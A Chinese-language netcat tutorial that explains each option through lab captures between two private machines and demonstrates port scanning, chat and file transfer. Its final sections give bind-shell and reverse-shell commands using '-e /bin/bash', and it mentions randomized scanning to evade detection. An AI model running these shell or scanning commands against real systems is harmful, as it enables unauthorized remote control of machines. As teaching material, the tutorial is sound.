netcat被称为网络工具中的瑞士×××,最初由Hobbit <hobbit@avian.org>开发,并且在多年来一直被认为是网络安全领域最有用工具的前几名。

它利用其丰富的参数成为一个方便的网络调试和探测工具,通过TCP或者UDP在网络上读写数据。并且易于直接被其他程序和脚本使用,包装成开发者需要的网络工具。
 
测试环境
下面的简单测试均在两台内网的机器之间进行,操作系统类型和IP地址如下:

A (BackTrack 5, 10.200.21.232)

B (CentOS release 5.5, 10.200.21.235)

 

帮助与参数详解

root@bt:~# netcat -h

[v1.10-38]

connect to somewhere:   nc [-options] hostname port[s] [ports] ...

listen for inbound:     nc -l -p port [-options] [hostname] [port]

options:

        -c shell commands       as `-e'; use /bin/sh to exec [dangerous!!]

        -e filename             program to exec after connect [dangerous!!]

        -b                      allow broadcasts

        -g gateway              source-routing hop point[s], up to 8

        -G num                  source-routing pointer: 4, 8, 12, ...

        -h                      this cruft

        -i secs                 delay interval for lines sent, ports scanned

        -k                      set keepalive option on socket

        -l                      listen mode, for inbound connects

        -n                      numeric-only IP addresses, no DNS

        -o file                 hex dump of traffic
        -p port                 local port number

        -r                     randomize local and remote ports

        -q secs                 quit after EOF on stdin and delay of secs

        -s addr                 local source address
        -T tos                  set Type Of Service
        -t                      answer TELNET negotiation
        -u                      UDP mode

        -v                      verbose [use twice to be more verbose]

        -w secs                 timeout for connects and final net reads

        -z                      zero-I/O mode [used for scanning]

port numbers can be individual or ranges: lo-hi [inclusive];

hyphens in port names must be backslash escaped (e.g. 'ftp\-data').

 
参数详解:
 
-v参数:
        可以将一些关于连接建立信息输出到标准错误。-v参数多出现几次,则显示的信息会更多一些。如果-v参数没有出现,则netcat将默默地工作,至到出现错误为止。
例1:用-v连接

root@bt:~# nc -v 10.200.21.235 21

10.200.21.235: inverse host lookup failed: Unknown server error : Connection timed out

(UNKNOWN) [10.200.21.235] 21 (ftp) open

220 (vsFTPd 2.0.5)

 
-z参数:
        表示不发送任何数据到TCP连接或非常有限的数据到UDP连接(实际上对于UDP协议,-z选项意义不大)
 
例1:TCP的情况
1) Anc连接B的80端口,不带-z参数。nc提示符将等用户输入数据。次数输入两个回车符,然后用CTRL+C结束nc进程。

root@bt:~# nc 10.200.21.235 80

回车
回车
^C
root@bt:~#
从下面的tcpdump抓包来看,在标准的TCP三次握手建立以后,从A到B有两个标志位为PSH的数据包,这就是用户两次输入的回车符。
[root@centOS ~]#tcpdump port 80

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes

06:04:12.633407 IP 10.200.21.232.33987 > 10.200.21.235.http: S 4117132960:4117132960(0) win 14600 <mss 1460,sackOK,timestamp 155677271 0,nop,wscale 6>

06:04:12.746654 IP 10.200.21.235.http > 10.200.21.232.33987: S 757606161:757606161(0) ack 4117132961 win 5792 <mss 1460,sackOK,timestamp 610759967 155677271,nop,wscale 7>

06:04:12.634408 IP 10.200.21.232.33987 > 10.200.21.235.http: . ack 1 win 229 <nop,nop,timestamp 155677275 610759967>

06:04:13.638624 IP 10.200.21.232.33987 > 10.200.21.235.http: P 1:2(1) ack 1 win 229 <nop,nop,timestamp 155677523 610759967>

06:04:13.638744 IP 10.200.21.235.http > 10.200.21.232.33987: . ack 2 win 46 <nop,nop,timestamp 610760915 155677523>

06:04:13.876391 IP 10.200.21.232.33987 > 10.200.21.235.http: P 2:3(1) ack 1 win 229 <nop,nop,timestamp 155677586 610760915>

06:04:13.876437 IP 10.200.21.235.http > 10.200.21.232.33987: . ack 3 win 46 <nop,nop,timestamp 610761152 155677586>

06:04:14.568591 IP 10.200.21.232.33987 > 10.200.21.235.http: F 3:3(0) ack 1 win 229 <nop,nop,timestamp 155677759 610761152>

06:04:14.568883 IP 10.200.21.235.http > 10.200.21.232.33987: F 1:1(0) ack 4 win 46 <nop,nop,timestamp 610761845 155677759>

06:04:14.569050 IP 10.200.21.232.33987 > 10.200.21.235.http: . ack 2 win 229 <nop,nop,timestamp 155677759 610761845>

 
2) A用nc连接B的80端口,带-z参数。nc提示符不会等用户输入数据,直接结束nc进程。从tcpdump中可以看到一个标准的TCP三次握手建立连接和四次握手释放连接的过程,没有其他任何数据交互。

root@bt:~# nc -z 10.200.21.235 80

tcpdump抓包结果如下:
[root@centOS ~]#tcpdump port 80

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes

06:02:11.430807 IP 10.200.21.232.33986 > 10.200.21.235.http: S 2217592740:2217592740(0) win 14600 <mss 1460,sackOK,timestamp 155646974 0,nop,wscale 6>

06:02:11.548041 IP 10.200.21.235.http > 10.200.21.232.33986: S 625652050:625652050(0) ack 2217592741 win 5792 <mss 1460,sackOK,timestamp 610649328 155646974,nop,wscale 7>

06:02:11.548288 IP 10.200.21.232.33986 > 10.200.21.235.http: . ack 1 win 229 <nop,nop,timestamp 155646974 610649328>

06:02:11.548437 IP 10.200.21.232.33986 > 10.200.21.235.http: F 1:1(0) ack 1 win 229 <nop,nop,timestamp 155646974 610649328>

06:02:11.548623 IP 10.200.21.235.http > 10.200.21.232.33986: F 1:1(0) ack 2 win 46 <nop,nop,timestamp 610649329 155646974>

06:02:11.432331 IP 10.200.21.232.33986 > 10.200.21.235.http: . ack 2 win 229 <nop,nop,timestamp 155646974 610649329>

 
例2:UDP的情况
A用nc连接B的UDP 1333端口,带-z参数。因为UDP是面向非连接的,从下面的tcpdump抓包结果观察,有一个UDP数据包从A到B,数据是全0

root@bt:~# nc -u -z 10.200.21.235 1333

在B上tcpdump抓包结果如下:

[root@centOS ~]#tcpdump udp port 1333 -X

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes

06:08:14.469554 IP 10.200.21.232.44043 > 10.200.21.235.passwrd-policy: UDP, length 1

        0x0000: 4500 001d 5e86 4000 4011 9ae7 0ac8 15e8 E...^.@.@.......
        0x0010: 0ac8 15eb ac0b 0535 0009 0d39 0000 0000 .......5...9....

        0x0020: 0000 0000 0000 0000 0000 0000 0000       ..............

 
-w参数:
        后跟一个时间值,单位为秒,用以指定建立链接时的等待时间,-w如果多次出现,则后面的值将取代前面的设置。
例1:设置5秒为等待超时时间,5秒内没有客户端来连接,结果超时

root@bt:~# time nc -l -w 5 -p 1333

no connection : Connection timed out

 
real    0m5.007s
user    0m0.000s
sys     0m0.004s
 
-i参数:
        后跟一个时间值,单位为秒。设置连接建立后每一行传送的数据或者多个端口扫描之间的时间间隔。
 
-r参数:
        做端口扫描是默认是按顺序扫描一个端口范围,-r参数使nc在一个给定的端口范围内随机扫描。这个选项方便躲避对端口扫描的定义。


-u参数:

        用UDP建立连接。
 
-o file参数:
        可以将连接上往来传输的数据以16进制的形式记录到logfile中。
        每行的第一个字符为”<”或”>”,分别表示接收的数据或发送的数据。后面的十六进制字符表示数据内容的位置,记录字节数。随后是16进制的数据内容。最后是ascii形式的数据内容。
 
例1:机器A监听端口号为1333的inbound connect,B连接A的TCP 1333 端口
B上输入:
hello
A
1234
A上输入:
test

root@bt:~# nc -l -p 1333 -o logfile1

hello
A
1234
test

root@bt:~# cat logfile1

< 00000000 68 65 6c 6c 6f 0a                               # hello.

< 00000006 41 0a                                           # A.

< 00000008 31 32 33 34 0a                                  # 1234.

> 00000000 74 65 73 74 0a                                  # test.

例2:再来观察一个交互数据更多的测试,机器A连接机器B的80端口,并发送一个错误的信息get xx,收到服务器的400错误消息。

root@bt:~# nc 10.200.21.235 80 -o logfile

get xx
<html>

<head><title>400 Bad Request</title></head>

<body bgcolor="white">

<center><h1>400 Bad Request</h1></center>

<hr><center>nginx/1.1.8</center>
</body>
</html>

root@bt:~# cat logfile

> 00000000 67 65 74 20 78 78 0a                            # get xx.

< 00000000 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 # <html>..<head><t

< 00000010 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 # itle>400 Bad Req

< 00000020 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 # uest</title></he

< 00000030 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c # ad>..<body bgcol

< 00000040 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 # or="white">..<ce

< 00000050 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 # nter><h1>400 Bad

< 00000060 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 # Request</h1></c

< 00000070 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e # enter>..<hr><cen

< 00000080 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 2e 38 3c # ter>nginx/1.1.8<

< 00000090 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 # /center>..</body

< 000000a0 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a             # >..</html>..

 
在B上用tcpdump查看经过80的流量,可以看到一个tcp连接和释放的过程。
其中的标志位为PSH(在tcpdump里显示为P)的两个包(7字节和172字节)即为netcat –o 中抓到的数据包。

[root@centOS ~]#tcpdump port 80

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes

06:14:58.333934 IP 10.200.21.232.44412 > 10.200.21.235.http: S 1359355635:1359355635(0) win 14600 <mss 1460,sackOK,timestamp 155838700 0,nop,wscale 6>

06:14:58.480471 IP 10.200.21.235.http > 10.200.21.232.44412: S 1440501038:1440501038(0) ack 1359355636 win 5792 <mss 1460,sackOK,timestamp 611350808 155838700,nop,wscale 7>

06:14:58.334006 IP 10.200.21.232.44412 > 10.200.21.235.http: . ack 1 win 229 <nop,nop,timestamp 155838700 611350808>

06:15:00.920563 IP 10.200.21.232.44412 > 10.200.21.235.http: P 1:8(7) ack 1 win 229 <nop,nop,timestamp 155839347 611350808>

06:15:00.920612 IP 10.200.21.235.http > 10.200.21.232.44412: . ack 8 win 46 <nop,nop,timestamp 611353154 155839347>

06:15:00.920851 IP 10.200.21.235.http > 10.200.21.232.44412: P 1:173(172) ack 8 win 46 <nop,nop,timestamp 611353154 155839347>

06:15:00.920902 IP 10.200.21.235.http > 10.200.21.232.44412: F 173:173(0) ack 8 win 46 <nop,nop,timestamp 611353154 155839347>

06:15:00.921019 IP 10.200.21.232.44412 > 10.200.21.235.http: . ack 173 win 245 <nop,nop,timestamp 155839347 611353154>

06:15:00.921468 IP 10.200.21.232.44412 > 10.200.21.235.http: F 8:8(0) ack 174 win 245 <nop,nop,timestamp 155839347 611353154>

06:15:00.921525 IP 10.200.21.235.http > 10.200.21.232.44412: . ack 9 win 46 <nop,nop,timestamp 611353155 155839347>

 

-s参数:
        绑定本地网卡IP,通常用于多个网卡的机器,用制定网卡地址去连接。
 
-p参数:
        绑定本地端口。不指定-p参数时netcat用空闲的端口去连接,用-p可以制定端口连接。使用1024以内的端口需要root权限。
例子:
如下图所示,A用1001端口连接B服务器的80端口,用netstat查看建立的连接,可以看到如下的10.200.21.232:1001的条目

root@bt:~# nc 10.200.21.235 80 -p 1001

root@bt:~# netstat -na | grep ESTAB

tcp        0      0 10.200.21.232:1001      10.200.21.235:80        ESTABLISHED

udp6       0      0 ::1:41928               ::1:41928               ESTABLISHED

下图是没有加-p参数的连接,可以看到是10.200.21.232:55402的条目

root@bt:~# netstat -na | grep ESTAB

tcp        0      0 10.200.21.232:55402     10.200.21.235:80        ESTABLISHED

udp6       0      0 ::1:41928               ::1:41928               ESTABLISHED

 
-l参数:
        开启TCP/UDP监听模式,等待外来的连接,相当于一个服务器。
例子:
        nc -l -p 1333,在A上开启在端口1333上的TCP监听。在另一台机器可以用nc连接A的1333端口,并传输数据。

root@bt:~# nc -l -p 1333

root@bt:~# netstat -na | grep 1333

tcp        0      0 0.0.0.0:1333            0.0.0.0:*               LISTEN

 
-k参数:
        在使用nc做服务器监听连接时,使用-k参数可以在客户端的一个连接断开后强制保持在监听状态。-k参数必须与-l参数一起使用。


-c 参数:

        -c后面跟shell命令字符串,在nc连接后shell命令传给/bin/sh执行。当机器没有/bin/sh时,请参看-e选项(POSIX-conformant的系统都有/bin/sh)
 
例1:nc服务器使用-c参数,客户端获取服务器端的信息
A作为服务器开启TCP 1333端口,并使用-c执行”uname –a”,B作为客户端连接A的TCP 1333端口,在服务器A上执行uname –a命令。客户端B执行后获得了服务器A的系统信息。
在服务器A上:

root@bt:~# nc -l -p 1333 -c "uname -a"

在客户端B上:

[root@centOS ~]#nc 10.200.21.232 1333

Linux bt 2.6.38 #1 SMP Thu Mar 17 20:52:18 EDT 2011 i686 GNU/Linux

 
例2:nc客户端使用-c参数,服务器端获取客户端的信息
B作为服务器开启TCP 1333端口,A作为客户端连接B的TCP 1333端口,并使用-c参数执行shell命令uname -a。命令执行后得到的是客户端A的系统信息,传送到服务器B上并显示。
B服务器端在1333端口监听

[root@centOS ~]#nc -l 1333

Linux bt 2.6.38 #1 SMP Thu Mar 17 20:52:18 EDT 2011 i686 GNU/Linux

[root@centOS ~]#

A客户端

root@bt:~# nc 10.200.21.235 1333 -c "uname -a"

 
-e参数:
        -e后面跟一可执行文件的名称,当一个连接被建立时,这个程序被运行。与-c参数相似,区别在于:-c参数传递一个可执行的shell命令,而-e参数可以传递一个可执行文件名。
        -e通常被用来做远程shell或者反向shell。在下面的典型应用中将有详解。
 
-n参数:
        不做任何DNS解析和查询工作。
 
netcat用法实例
 
1 端口扫描(Port scanning)
端口扫描工具可以用来发现一些机器上开放的端口,以发现可能的漏洞。
nc是一个非常方便的建议端口扫描工具,一个典型的端口扫描命令如下:

nc -z -vv -n -r -i 1 10.200.21.235 21-25

参数的具体解释见上文,下面再简单解释一下:
z 参数连接成功后立即关闭连接, 不进行数据交换
v 参数指使用冗余选项,即详细输出信息
n 参数指不使用DNS反向查询IP地址的域名
r 参数使nc按随机顺序扫描21-25之间的端口
i 参数定义扫描每个端口之间的时间间隔,这里定义为1
 

root@bt:~# nc -z -vv -n -r -i 1 10.200.21.235 21-25

(UNKNOWN) [10.200.21.235] 22 (ssh) open

(UNKNOWN) [10.200.21.235] 24 (?) : Connection refused

(UNKNOWN) [10.200.21.235] 21 (ftp) open

(UNKNOWN) [10.200.21.235] 25 (smtp) : Connection refused

(UNKNOWN) [10.200.21.235] 23 (telnet) : Connection refused

 sent 0, rcvd 0
 
2 简易聊天工具
正是因为nc可以方便的搭建一个TCP服务器,监听客户端的连接。利用TCP协议面向连接的特点,自然而然就可以将nc做成一个简易聊天工具。
特别实在实验室或者实验机房中,只要将协商好的端口发布出去,别人就可以很方便地连接到你的聊天服务器上,给你发消息。
 
服务器B, 打开1333 TCP端口,监听并回应聊天消息
 [root@centOS ~]#nc -k -l 1333

Go for lunch, 5 mins later. David.

OK

Wait, I got trouble. 15 mins later at 11:50, Okey?

OK, see u outside then

客户端A,连接服务器端后,发送聊天消息

root@bt:~# nc 10.200.21.235 1333

Go for lunch, 5 mins later. David.

OK
^C

root@bt:~# nc 10.200.21.235 1333

Wait, I got trouble. 15 mins later at 11:50, Okey?

OK, see u outside then

^C
root@bt:~#
 
3 文件传输
有些机器的ftp软件没有安装或者服务没有开启,如果需要临时或者一次传输文件,可以利用nc来轻松地解决完成。
文件传输的基本原理是在TCP连接建立以后,利用重定向将整个文件的内容作为TCP中的数据包在客户端和服务器之间传输。
 
例1:A作为客户端,B为服务器。B向A传送文件。
服务器B

[root@centOS ~]#cat nc.tmp

nc test

[root@centOS ~]#nc -l 1333 < nc.tmp

 
客户端A

root@bt:~# nc 10.200.21.235 1333 > nc.tmp

root@bt:~# cat nc.tmp

nc test
服务器B上创建TCP端口1333上的监听,并且将文件nc.tmp重定向到nc中,那么当任何成功连接到该端口,netcat会发送nc.tmp的文件内容。
 
同理,也可以从客户端向服务器发送文件。另外,如果没有重定向文件到本地,则传送过来的文件直接输出到标准输出上。
 
目录传输
如果想要发送多个文件,或者整个目录,只需要使用压缩工具tar,压缩后发送压缩包。
如果你想要通过网络传输一个目录从B到A
服务器B

[root@centOS ~]#tar -zcvf - tmp_dir | nc -l 1333

tmp_dir/
tmp_dir/1.txt
tmp_dir/3.txt
tmp_dir/2.txt
服务器A
root@bt:~# nc 10.200.21.235 1333 | tar -zxvf -
tmp_dir/
tmp_dir/1.txt

tar: tmp_dir/1.txt: time stamp 2013-05-05 17:26:36 is 387202.398680222 s in the future

tmp_dir/3.txt

tar: tmp_dir/3.txt: time stamp 2013-05-05 17:27:09 is 387235.398070617 s in the future

tmp_dir/2.txt

tar: tmp_dir/2.txt: time stamp 2013-05-05 17:26:48 is 387214.397317901 s in the future

tar: tmp_dir: time stamp 2013-05-05 17:26:10 is 387176.396369297 s in the future

 
在B服务器上创建一个tar归档包并且通过-在控制台重定向它,然后使用管道,重定向给nc,nc可以通过网络发送它。
在客户端我们下载该压缩包通过nc 管道然后打开文件。
也可以使用bzip2等其他压缩方法压缩。
 
5 远程shell
如果机器上没有装telnet或者ssh,我们也可以使用netcat创建远程shell
在前面已经提到过-c和-e 参数,我们在这里利用-e参数来实现远程shell
例1
机器A作为服务器

root@bt:~# nc -l -p 1333 -e /bin/bash

机器B作为客户端
 [root@centOS ~]#nc 10.200.21.232 1333

uname -a

Linux bt 2.6.38 #1 SMP Thu Mar 17 20:52:18 EDT 2011 i686 GNU/Linux

cat /etc/issue

BackTrack 5 - Code Name Revolution 32 bit\n \l

 
这里我们已经创建了一个netcat服务器并且表示当它连接成功时执行/bin/bash,从而当客户端连接到服务器时,服务器上执行/bin/bash,并且将执行结果传送给客户端B。实际上相当于客户端获得了一个服务器上的shell执行权,相当于一个远程shell,在客户端端上我们能看到服务器的信息。
 
6 反向shell
反向shell的原理和远程shell类似,只不过反向shell是在客户端上打开shell,客户端和服务器连接之后,服务器上可以获得客户端的shell控制。
机器A作为服务器

nc -l -p 1333

机器B作为客户端

nc 10.200.21.232 1333 –e /bin/bash

 
参考文献链接:
网络工具中的瑞士×××http://blog.jobbole.com/38067/